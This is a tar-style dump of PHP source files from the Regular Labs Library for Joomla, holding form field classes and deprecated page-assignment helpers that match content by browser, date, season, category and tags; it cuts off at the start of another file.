* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\Version as RL_Version;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Version extends \RegularLabs\Library\Field
{
public $type = 'Version';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$extension = $this->get('extension');
$xml = $this->get('xml');
if ( ! $xml && $this->form->getValue('element'))
{
if ($this->form->getValue('folder'))
{
$xml = 'plugins/' .
$this->form->getValue('folder') . '/' .
$this->form->getValue('element') . '/' .
$this->form->getValue('element') . '.xml';
}
else
{
$xml = 'administrator/modules/' .
$this->form->getValue('element') . '/' .
$this->form->getValue('element') . '.xml';
}
if ( ! file_exists(JPATH_SITE . '/' . $xml))
{
return '';
}
}
if (empty($extension) || empty($xml))
{
return '';
}
if ( ! JFactory::getUser()->authorise('core.manage',
'com_installer'))
{
return '';
}
return '</div><div class="hide">' .
RL_Version::getMessage($extension);
}
}
fields/virtuemart.php000064400000007125151167425550010745 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_VirtueMart extends \RegularLabs\Library\FieldGroup
{
public $type = 'VirtueMart';
public $language = null;
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['categories',
'products']))
{
return $error;
}
return $this->getSelectList();
}
function getCategories()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__virtuemart_categories AS c')
->where('c.published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear()
->select('c.virtuemart_category_id as id, cc.category_parent_id
AS parent_id, l.category_name AS title, c.published')
->from('#__virtuemart_categories_' .
$this->getActiveLanguage() . ' AS l')
->join('', '#__virtuemart_categories AS c using
(virtuemart_category_id)')
->join('LEFT', '#__virtuemart_category_categories AS
cc ON l.virtuemart_category_id = cc.category_child_id')
->where('c.published > -1')
->group('c.virtuemart_category_id')
->order('c.ordering, l.category_name');
$this->db->setQuery($query);
$items = $this->db->loadObjectList();
return $this->getOptionsTreeByList($items);
}
function getProducts()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__virtuemart_products AS p')
->where('p.published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('p.virtuemart_product_id as id, l.product_name AS name,
p.product_sku as sku, cl.category_name AS cat, p.published')
->join('LEFT', '#__virtuemart_products_' .
$this->getActiveLanguage() . ' AS l ON l.virtuemart_product_id =
p.virtuemart_product_id')
->join('LEFT', '#__virtuemart_product_categories AS x
ON x.virtuemart_product_id = p.virtuemart_product_id')
->join('LEFT', '#__virtuemart_categories AS c ON
c.virtuemart_category_id = x.virtuemart_category_id')
->join('LEFT', '#__virtuemart_categories_' .
$this->getActiveLanguage() . ' AS cl ON cl.virtuemart_category_id =
c.virtuemart_category_id')
->group('p.virtuemart_product_id')
->order('l.product_name, p.product_sku');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['sku',
'cat', 'id']);
}
private function getActiveLanguage()
{
if (isset($this->language))
{
return $this->language;
}
$this->language = 'en_gb';
if ( ! class_exists('VmConfig'))
{
require_once JPATH_ROOT .
'/administrator/components/com_virtuemart/helpers/config.php';
}
if ( ! class_exists('VmConfig'))
{
return $this->language;
}
VmConfig::loadConfig();
if ( ! empty(VmConfig::$vmlang))
{
$this->language = str_replace('-', '_',
strtolower(VmConfig::$vmlang));
return $this->language;
}
$active_languages = VmConfig::get('active_languages', []);
if ( ! isset($active_languages[0]))
{
return $this->language;
}
$this->language = str_replace('-', '_',
strtolower($active_languages[0]));
return $this->language;
}
}
fields/zoo.php000064400000007226151167425550007354 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Form as RL_Form;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Zoo extends \RegularLabs\Library\FieldGroup
{
public $type = 'Zoo';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['applications'
=> 'application', 'categories' =>
'category', 'items' => 'item']))
{
return $error;
}
return $this->getSelectList();
}
function getCategories()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__zoo_category AS c')
->where('c.published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$options = [];
if ($this->get('show_ignore'))
{
if (in_array('-1', $this->value))
{
$this->value = ['-1'];
}
$options[] = JHtml::_('select.option', '-1', '-
' . JText::_('RL_IGNORE') . ' -');
$options[] = JHtml::_('select.option', '-',
' ', 'value', 'text', true);
}
$query->clear()
->select('a.id, a.name')
->from('#__zoo_application AS a')
->order('a.name, a.id');
$this->db->setQuery($query);
$apps = $this->db->loadObjectList();
foreach ($apps as $i => $app)
{
$query->clear()
->select('c.id, c.parent AS parent_id, c.name AS title,
c.published')
->from('#__zoo_category AS c')
->where('c.application_id = ' . (int) $app->id)
->where('c.published > -1')
->order('c.ordering, c.name');
$this->db->setQuery($query);
$items = $this->db->loadObjectList();
if ($i)
{
$options[] = JHtml::_('select.option', '-',
' ', 'value', 'text', true);
}
// establish the hierarchy of the menu
// TODO: use node model
$children = [];
if ($items)
{
// first pass - collect children
foreach ($items as $v)
{
$pt = $v->parent_id;
$list = @$children[$pt] ? $children[$pt] : [];
array_push($list, $v);
$children[$pt] = $list;
}
}
// second pass - get an indent list of the items
$list = JHtml::_('menu.treerecurse', 0, '', [],
$children, 9999, 0, 0);
// assemble items to the array
$options[] = JHtml::_('select.option', 'app' .
$app->id, '[' . $app->name . ']');
foreach ($list as $item)
{
$item->treename = ' ' .
str_replace('  - ', ' ',
$item->treename);
$item->treename = RL_Form::prepareSelectItem($item->treename,
$item->published);
$option = JHtml::_('select.option', $item->id,
$item->treename);
$option->level = 1;
$options[] = $option;
}
}
return $options;
}
function getItems()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__zoo_item AS i')
->where('i.state > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('i.id, i.name, a.name as cat, i.state as
published')
->join('LEFT', '#__zoo_application AS a ON a.id =
i.application_id')
->group('i.id')
->order('i.name, i.priority, i.id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['cat',
'id']);
}
}
helpers/assignment.php000064400000002561151167425550011106 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLAssignment
extends \RegularLabs\Library\Condition
{
function pass($pass = true, $include_type = null)
{
return $this->_($pass, $include_type);
}
public function passByPageTypes($option, $selection = [], $assignment =
'all', $add_view = false, $get_task = false, $get_layout = true)
{
return $this->passByPageType($option, $selection, $assignment,
$add_view, $get_task, $get_layout);
}
public function passContentIds()
{
return $this->passContentId();
}
public function passContentKeywords($fields = ['title',
'introtext', 'fulltext'], $text = '')
{
return $this->passContentKeyword($fields, $text);
}
public function passMetaKeywords($field = 'metakey', $keywords =
'')
{
return $this->passMetaKeyword($field, $keywords);
}
public function passAuthors($field = 'created_by', $author =
'')
{
return $this->passAuthors($field, $author);
}
}
helpers/assignments/agents.php000064400000007077151167425550012561
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
require_once dirname(__DIR__) . '/text.php';
require_once dirname(__DIR__) . '/mobile_detect.php';
class RLAssignmentsAgents extends RLAssignment
{
var $agent = null;
var $device = null;
/**
* passBrowsers
*/
public function passBrowsers()
{
if (empty($this->selection))
{
return $this->pass(false);
}
foreach ($this->selection as $browser)
{
if ( ! $this->passBrowser($browser))
{
continue;
}
return $this->pass(true);
}
return $this->pass(false);
}
/**
* passOS
*/
public function passOS()
{
return self::passBrowsers();
}
/**
* passDevices
*/
public function passDevices()
{
$pass = (in_array('mobile', $this->selection) &&
$this->isMobile())
|| (in_array('tablet', $this->selection) &&
$this->isTablet())
|| (in_array('desktop', $this->selection) &&
$this->isDesktop());
return $this->pass($pass);
}
/**
* isPhone
*/
public function isPhone()
{
return $this->isMobile();
}
/**
* isMobile
*/
public function isMobile()
{
return $this->getDevice() == 'mobile';
}
/**
* isTablet
*/
public function isTablet()
{
return $this->getDevice() == 'tablet';
}
/**
* isDesktop
*/
public function isDesktop()
{
return $this->getDevice() == 'desktop';
}
/**
* setDevice
*/
private function getDevice()
{
if ( ! is_null($this->device))
{
return $this->device;
}
$detect = new RLMobile_Detect;
$this->is_mobile = $detect->isMobile();
switch (true)
{
case($detect->isTablet()):
$this->device = 'tablet';
break;
case ($detect->isMobile()):
$this->device = 'mobile';
break;
default:
$this->device = 'desktop';
}
return $this->device;
}
/**
* getAgent
*/
private function getAgent()
{
if ( ! is_null($this->agent))
{
return $this->agent;
}
$detect = new RLMobile_Detect;
$agent = $detect->getUserAgent();
switch (true)
{
case (stripos($agent, 'Trident') !== false):
// Add MSIE to IE11
$agent = preg_replace('#(Trident/[0-9\.]+;
rv:([0-9\.]+))#is', '\1 MSIE \2', $agent);
break;
case (stripos($agent, 'Chrome') !== false):
// Remove Safari from Chrome
$agent = preg_replace('#(Chrome/.*)Safari/[0-9\.]*#is',
'\1', $agent);
// Add MSIE to IE Edge and remove Chrome from IE Edge
$agent = preg_replace('#Chrome/.*(Edge/[0-9])#is', 'MSIE
\1', $agent);
break;
case (stripos($agent, 'Opera') !== false):
$agent = preg_replace('#(Opera/.*)Version/#is',
'\1Opera/', $agent);
break;
}
$this->agent = $agent;
return $this->agent;
}
/**
* passBrowser
*/
private function passBrowser($browser = '')
{
if ( ! $browser)
{
return false;
}
if ($browser == 'mobile')
{
return $this->isMobile();
}
if ( ! (strpos($browser, '#') === 0))
{
$browser = '#' . RLText::pregQuote($browser) . '#';
}
// also check for _ instead of .
$browser = preg_replace('#\\\.([^\]])#', '[\._]\1',
$browser);
$browser = str_replace('\.]', '\._]', $browser);
return preg_match($browser . 'i', $this->getAgent());
}
}
helpers/assignments/akeebasubs.php000064400000002606151167425550013376
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLAssignmentsAkeebaSubs extends RLAssignment
{
public function init()
{
if ( ! $this->request->id && $this->request->view ==
'level')
{
$slug =
JFactory::getApplication()->input->getString('slug',
'');
if ($slug)
{
$query = $this->db->getQuery(true)
->select('l.akeebasubs_level_id')
->from('#__akeebasubs_levels AS l')
->where('l.slug = ' . $this->db->quote($slug));
$this->db->setQuery($query);
$this->request->id = $this->db->loadResult();
}
}
}
public function passPageTypes()
{
return $this->passByPageTypes('com_akeebasubs',
$this->selection, $this->assignment);
}
public function passLevels()
{
if ( ! $this->request->id || $this->request->option !=
'com_akeebasubs' || $this->request->view !=
'level')
{
return $this->pass(false);
}
return $this->passSimple($this->request->id);
}
}
helpers/assignments/components.php000064400000001321151167425550013447
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsComponents extends RLAssignment
{
public function passComponents()
{
return $this->passSimple(strtolower($this->request->option));
}
}
helpers/assignments/content.php000064400000013030151167425550012734
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\MVC\Model\BaseDatabaseModel as JModel;
use Joomla\CMS\Table\Table as JTable;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsContent extends RLAssignment
{
public function passPageTypes()
{
$components = ['com_content', 'com_contentsubmit'];
if ( ! in_array($this->request->option, $components))
{
return $this->pass(false);
}
if ($this->request->view == 'category' &&
$this->request->layout == 'blog')
{
$view = 'categoryblog';
}
else
{
$view = $this->request->view;
}
return $this->passSimple($view);
}
public function passCategories()
{
// components that use the com_content secs/cats
$components = ['com_content', 'com_flexicontent',
'com_contentsubmit'];
if ( ! in_array($this->request->option, $components))
{
return $this->pass(false);
}
if (empty($this->selection))
{
return $this->pass(false);
}
$is_content = in_array($this->request->option,
['com_content', 'com_flexicontent']);
$is_category = in_array($this->request->view,
['category']);
$is_item = in_array($this->request->view, ['',
'article', 'item', 'form']);
if (
$this->request->option != 'com_contentsubmit'
&& ! ($this->params->inc_categories && $is_content
&& $is_category)
&& ! ($this->params->inc_articles && $is_content
&& $is_item)
&& ! ($this->params->inc_others && ! ($is_content
&& ($is_category || $is_item)))
)
{
return $this->pass(false);
}
if ($this->request->option == 'com_contentsubmit')
{
// Content Submit
$contentsubmit_params = new ContentsubmitModelArticle;
if (in_array($contentsubmit_params->_id, $this->selection))
{
return $this->pass(true);
}
return $this->pass(false);
}
$pass = false;
if (
$this->params->inc_others
&& ! ($is_content && ($is_category || $is_item))
&& $this->article
)
{
if ( ! isset($this->article->id) &&
isset($this->article->slug))
{
$this->article->id = (int) $this->article->slug;
}
if ( ! isset($this->article->catid) &&
isset($this->article->catslug))
{
$this->article->catid = (int) $this->article->catslug;
}
$this->request->id = $this->article->id;
$this->request->view = 'article';
}
$catids = $this->getCategoryIds($is_category);
foreach ($catids as $catid)
{
if ( ! $catid)
{
continue;
}
$pass = in_array($catid, $this->selection);
if ($pass && $this->params->inc_children == 2)
{
$pass = false;
continue;
}
if ( ! $pass && $this->params->inc_children)
{
$parent_ids = $this->getCatParentIds($catid);
$parent_ids = array_diff($parent_ids, [1]);
foreach ($parent_ids as $id)
{
if (in_array($id, $this->selection))
{
$pass = true;
break;
}
}
unset($parent_ids);
}
}
return $this->pass($pass);
}
private function getCategoryIds($is_category = false)
{
if ($is_category)
{
return (array) $this->request->id;
}
if ( ! $this->article && $this->request->id)
{
$this->article = JTable::getInstance('content');
$this->article->load($this->request->id);
}
if ($this->article && $this->article->catid)
{
return (array) $this->article->catid;
}
$catid =
JFactory::getApplication()->input->getInt('catid',
JFactory::getApplication()->getUserState('com_content.articles.filter.category_id'));
$menuparams = $this->getMenuItemParams($this->request->Itemid);
if ($this->request->view == 'featured')
{
$menuparams = $this->getMenuItemParams($this->request->Itemid);
return isset($menuparams->featured_categories) ? (array)
$menuparams->featured_categories : (array) $catid;
}
return isset($menuparams->catid) ? (array) $menuparams->catid :
(array) $catid;
}
public function passArticles()
{
if ( ! $this->request->id
|| ! (($this->request->option == 'com_content'
&& $this->request->view == 'article')
|| ($this->request->option == 'com_flexicontent'
&& $this->request->view == 'item')
)
)
{
return $this->pass(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentIds'))
{
return $this->pass(false);
}
// Pass Content Keywords
if ( ! $this->passItemByType($pass, 'ContentKeywords'))
{
return $this->pass(false);
}
// Pass Meta Keywords
if ( ! $this->passItemByType($pass, 'MetaKeywords'))
{
return $this->pass(false);
}
// Pass Authors
if ( ! $this->passItemByType($pass, 'Authors'))
{
return $this->pass(false);
}
return $this->pass($pass);
}
public function getItem($fields = [])
{
if ($this->article)
{
return $this->article;
}
if ( ! class_exists('ContentModelArticle'))
{
require_once JPATH_SITE .
'/components/com_content/models/article.php';
}
$model = JModel::getInstance('article',
'contentModel');
if ( ! method_exists($model, 'getItem'))
{
return null;
}
$this->article = $model->getItem($this->request->id);
return $this->article;
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'categories');
}
}
helpers/assignments/cookieconfirm.php000064400000001477151167425550014125
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsCookieConfirm extends RLAssignment
{
public function passCookieConfirm()
{
require_once JPATH_PLUGINS . '/system/cookieconfirm/core.php';
$pass = PlgSystemCookieconfirmCore::getInstance()->isCookiesAllowed();
return $this->pass($pass);
}
}
helpers/assignments/datetime.php000064400000014107151167425550013064
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsDateTime extends RLAssignment
{
var $timezone = null;
var $dates = [];
public function passDate()
{
if ( ! $this->params->publish_up && !
$this->params->publish_down)
{
// no date range set
return ($this->assignment == 'include');
}
require_once dirname(__DIR__) . '/text.php';
RLText::fixDate($this->params->publish_up);
RLText::fixDate($this->params->publish_down);
$now = $this->getNow();
$up = $this->getDate($this->params->publish_up);
$down = $this->getDate($this->params->publish_down);
if (isset($this->params->recurring) &&
$this->params->recurring)
{
if ( ! (int) $this->params->publish_up || ! (int)
$this->params->publish_down)
{
// no date range set
return ($this->assignment == 'include');
}
$up = strtotime(date('Y') . $up->format('-m-d
H:i:s', true));
$down = strtotime(date('Y') . $down->format('-m-d
H:i:s', true));
// pass:
// 1) now is between up and down
// 2) up is later in year than down and:
// 2a) now is after up
// 2b) now is before down
if (
($up < $now && $down > $now)
|| ($up > $down
&& (
$up < $now
|| $down > $now
)
)
)
{
return ($this->assignment == 'include');
}
// outside date range
return $this->pass(false);
}
if (
(
(int) $this->params->publish_up
&& strtotime($up->format('Y-m-d H:i:s', true))
> $now
)
|| (
(int) $this->params->publish_down
&& strtotime($down->format('Y-m-d H:i:s', true))
< $now
)
)
{
// outside date range
return $this->pass(false);
}
// pass
return ($this->assignment == 'include');
}
public function passSeasons()
{
$season = self::getSeason($this->date,
$this->params->hemisphere);
return $this->passSimple($season);
}
public function passMonths()
{
$month = $this->date->format('m', true); // 01 (for
January) through 12 (for December)
return $this->passSimple((int) $month);
}
public function passDays()
{
$day = $this->date->format('N', true); // 1 (for Monday)
though 7 (for Sunday )
return $this->passSimple($day);
}
public function passTime()
{
$now = $this->getNow();
$up = strtotime($this->date->format('Y-m-d ', true) .
$this->params->publish_up);
$down = strtotime($this->date->format('Y-m-d ', true) .
$this->params->publish_down);
if ($up > $down)
{
// publish up is after publish down (spans midnight)
// current time should be:
// - after publish up
// - OR before publish down
if ($now >= $up || $now < $down)
{
return $this->pass(true);
}
return $this->pass(false);
}
// publish down is after publish up (simple time span)
// current time should be:
// - after publish up
// - AND before publish down
if ($now >= $up && $now < $down)
{
return $this->pass(true);
}
return $this->pass(false);
}
private function getSeason(&$d, $hemisphere = 'northern')
{
// Set $date to today
$date = strtotime($d->format('Y-m-d H:i:s', true));
// Get year of date specified
$date_year = $d->format('Y', true); // Four digit
representation for the year
// Specify the season names
$season_names = ['winter', 'spring',
'summer', 'fall'];
// Declare season date ranges
switch (strtolower($hemisphere))
{
case 'southern':
if (
$date < strtotime($date_year . '-03-21')
|| $date >= strtotime($date_year . '-12-21')
)
{
return $season_names[2]; // Must be in Summer
}
if ($date >= strtotime($date_year . '-09-23'))
{
return $season_names[1]; // Must be in Spring
}
if ($date >= strtotime($date_year . '-06-21'))
{
return $season_names[0]; // Must be in Winter
}
if ($date >= strtotime($date_year . '-03-21'))
{
return $season_names[3]; // Must be in Fall
}
break;
case 'australia':
if (
$date < strtotime($date_year . '-03-01')
|| $date >= strtotime($date_year . '-12-01')
)
{
return $season_names[2]; // Must be in Summer
}
if ($date >= strtotime($date_year . '-09-01'))
{
return $season_names[1]; // Must be in Spring
}
if ($date >= strtotime($date_year . '-06-01'))
{
return $season_names[0]; // Must be in Winter
}
if ($date >= strtotime($date_year . '-03-01'))
{
return $season_names[3]; // Must be in Fall
}
break;
default: // northern
if (
$date < strtotime($date_year . '-03-21')
|| $date >= strtotime($date_year . '-12-21')
)
{
return $season_names[0]; // Must be in Winter
}
if ($date >= strtotime($date_year . '-09-23'))
{
return $season_names[3]; // Must be in Fall
}
if ($date >= strtotime($date_year . '-06-21'))
{
return $season_names[2]; // Must be in Summer
}
if ($date >= strtotime($date_year . '-03-21'))
{
return $season_names[1]; // Must be in Spring
}
break;
}
return 0;
}
private function getNow()
{
return strtotime($this->date->format('Y-m-d H:i:s',
true));
}
private function getDate($date = '')
{
$id = 'date_' . $date;
if (isset($this->dates[$id]))
{
return $this->dates[$id];
}
$this->dates[$id] = JFactory::getDate($date);
if (empty($this->params->ignore_time_zone))
{
$this->dates[$id]->setTimeZone($this->getTimeZone());
}
return $this->dates[$id];
}
private function getTimeZone()
{
if ( ! is_null($this->timezone))
{
return $this->timezone;
}
$this->timezone = new
DateTimeZone(JFactory::getApplication()->getCfg('offset'));
return $this->timezone;
}
}
helpers/assignments/easyblog.php000064400000010007151167425550013070
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsEasyBlog extends RLAssignment
{
public function passPageTypes()
{
return $this->passByPageTypes('com_easyblog',
$this->selection, $this->assignment);
}
public function passCategories()
{
if ($this->request->option != 'com_easyblog')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_categories &&
$this->request->view == 'categories')
|| ($this->params->inc_items && $this->request->view
== 'entry')
);
if ( ! $pass)
{
return $this->pass(false);
}
$cats = $this->makeArray($this->getCategories());
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->pass(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCategories()
{
switch ($this->request->view)
{
case 'entry' :
return $this->getCategoryIDFromItem();
break;
case 'categories' :
return $this->request->id;
break;
default:
return '';
}
}
private function getCategoryIDFromItem()
{
$query = $this->db->getQuery(true)
->select('i.category_id')
->from('#__easyblog_post AS i')
->where('i.id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadResult();
}
public function passTags()
{
if ($this->request->option != 'com_easyblog')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_tags && $this->request->layout
== 'tag')
|| ($this->params->inc_items && $this->request->view
== 'entry')
);
if ( ! $pass)
{
return $this->pass(false);
}
if ($this->params->inc_tags && $this->request->layout
== 'tag')
{
$query = $this->db->getQuery(true)
->select('t.alias')
->from('#__easyblog_tag AS t')
->where('t.id = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
return $this->passSimple($tags, true);
}
$query = $this->db->getQuery(true)
->select('t.alias')
->from('#__easyblog_post_tag AS x')
->join('LEFT', '#__easyblog_tag AS t ON t.id =
x.tag_id')
->where('x.post_id = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
return $this->passSimple($tags, true);
}
public function passItems()
{
if ( ! $this->request->id || $this->request->option !=
'com_easyblog' || $this->request->view !=
'entry')
{
return $this->pass(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentIds'))
{
return $this->pass(false);
}
// Pass Content Keywords
if ( ! $this->passItemByType($pass, 'ContentKeywords'))
{
return $this->pass(false);
}
// Pass Authors
if ( ! $this->passItemByType($pass, 'Authors'))
{
return $this->pass(false);
}
return $this->pass($pass);
}
public function passContentKeywords($fields = ['title',
'intro', 'content'], $text = '')
{
parent::passContentKeywords($fields);
}
public function getItem($fields = [])
{
$query = $this->db->getQuery(true)
->select($fields)
->from('#__easyblog_post')
->where('id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadObject();
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'easyblog_category',
'parent_id');
}
}
helpers/assignments/flexicontent.php000064400000004622151167425550013773
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsFlexiContent extends RLAssignment
{
public function passPageTypes()
{
return $this->passByPageTypes('com_flexicontent',
$this->selection, $this->assignment);
}
public function passTags()
{
if ($this->request->option != 'com_flexicontent')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_tags && $this->request->view ==
'tags')
|| ($this->params->inc_items &&
in_array($this->request->view, ['item',
'items']))
);
if ( ! $pass)
{
return $this->pass(false);
}
if ($this->params->inc_tags && $this->request->view
== 'tags')
{
$query = $this->db->getQuery(true)
->select('t.name')
->from('#__flexicontent_tags AS t')
->where('t.id = ' . (int)
trim(JFactory::getApplication()->input->getInt('id', 0)))
->where('t.published = 1');
$this->db->setQuery($query);
$tag = $this->db->loadResult();
$tags = [$tag];
}
else
{
$query = $this->db->getQuery(true)
->select('t.name')
->from('#__flexicontent_tags_item_relations AS x')
->join('LEFT', '#__flexicontent_tags AS t ON t.id =
x.tid')
->where('x.itemid = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
}
return $this->passSimple($tags, true);
}
public function passTypes()
{
if ($this->request->option != 'com_flexicontent')
{
return $this->pass(false);
}
$pass = in_array($this->request->view, ['item',
'items']);
if ( ! $pass)
{
return $this->pass(false);
}
$query = $this->db->getQuery(true)
->select('x.type_id')
->from('#__flexicontent_items_ext AS x')
->where('x.item_id = ' . (int) $this->request->id);
$this->db->setQuery($query);
$type = $this->db->loadResult();
$types = $this->makeArray($type);
return $this->passSimple($types);
}
}
helpers/assignments/form2content.php000064400000002062151167425550013705
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
